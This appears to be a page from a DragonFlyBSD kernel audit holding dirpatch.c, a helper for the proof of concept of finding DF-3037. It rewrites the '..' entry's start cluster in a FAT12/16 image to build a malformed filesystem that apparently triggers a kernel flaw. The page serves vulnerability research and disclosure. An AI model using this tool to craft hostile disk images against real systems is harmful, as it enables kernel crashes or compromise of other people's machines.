DragonFlyBSD Kernel Audit
DF-3037 / dirpatch.c
← back to finding ↓ download raw
/*
 * dirpatch.c -- helper for DF-3037 PoC.
 *
 *   dirpatch <img>                list every "." directory entry found in the
 *                                 image: byte offset of the entry and the
 *                                 directory's own start cluster (from the
 *                                 "." entry itself).
 *   dirpatch <img> p <dotOff> <cl>
 *                                 patch the ".." entry that immediately
 *                                 follows the "." entry at byte offset
 *                                 <dotOff> so that ".." points at cluster
 *                                 <cl> (16-bit deStartCluster; FAT12/16).
 *
 * Only deStartCluster (entry bytes 26..27, LE) is rewritten; the entry is
 * validated to look like "..         " + ATTR_DIRECTORY first.
 */
#include <sys/types.h>
#include <err.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DIRENT_SIZE 32

static uint16_t
rd16(const unsigned char *p)
{
	return (uint16_t)(p[0] | (p[1] << 8));
}

static void
wr16(unsigned char *p, uint16_t v)
{
	p[0] = v & 0xff;
	p[1] = v >> 8;
}

int
main(int argc, char **argv)
{
	int fd;
	off_t sz, o;
	unsigned char *img;
	ssize_t n;

	if (argc != 2 && argc != 5) {
		fprintf(stderr, "usage: %s img | %s img p <dotOff> <cl>\n",
		    argv[0], argv[0]);
		return (2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0)
		err(1, "open %s", argv[1]);
	sz = lseek(fd, 0, SEEK_END);
	img = malloc(sz);
	if (img == NULL)
		err(1, "malloc");
	lseek(fd, 0, SEEK_SET);
	n = read(fd, img, sz);
	if (n != sz)
		err(1, "read");

	if (argc == 2) {
		printf("# off(cluster-start of '.' entry)  own-cluster\n");
		for (o = 0; o + 2 * DIRENT_SIZE <= sz; o += DIRENT_SIZE) {
			unsigned char *e = img + o;
			if (e[11] != 0x10)		/* ATTR_DIRECTORY */
				continue;
			if (memcmp(e, ".          ", 11) != 0)
				continue;
			printf("dot at off=%lld owncluster=%u next-entry='%.11s'\n",
			    (long long)o, rd16(e + 26), img + o + DIRENT_SIZE);
		}
		free(img);
		close(fd);
		return (0);
	}

	/* patch mode */
	o = strtoll(argv[3], NULL, 0);
	{
		unsigned char *dot = img + o;
		unsigned char *dd  = img + o + DIRENT_SIZE;
		uint16_t cl = (uint16_t)strtoul(argv[4], NULL, 0);

		if (o < 0 || o + 2 * DIRENT_SIZE > sz)
			errx(1, "offset out of range");
		if (dot[11] != 0x10 || memcmp(dot, ".          ", 11) != 0)
			errx(1, "entry at %lld is not a '.' dir entry", (long long)o);
		if (dd[11] != 0x10 || memcmp(dd, "..         ", 11) != 0)
			errx(1, "entry at %lld is not a '..' dir entry",
			    (long long)(o + DIRENT_SIZE));
		printf("patching '..' at off=%lld : startcluster %u -> %u\n",
		    (long long)(o + DIRENT_SIZE), rd16(dd + 26), cl);
		wr16(dd + 26, cl);
		lseek(fd, o + DIRENT_SIZE, SEEK_SET);
		n = write(fd, dd, DIRENT_SIZE);
		if (n != DIRENT_SIZE)
			err(1, "write");
	}
	free(img);
	close(fd);
	return (0);
}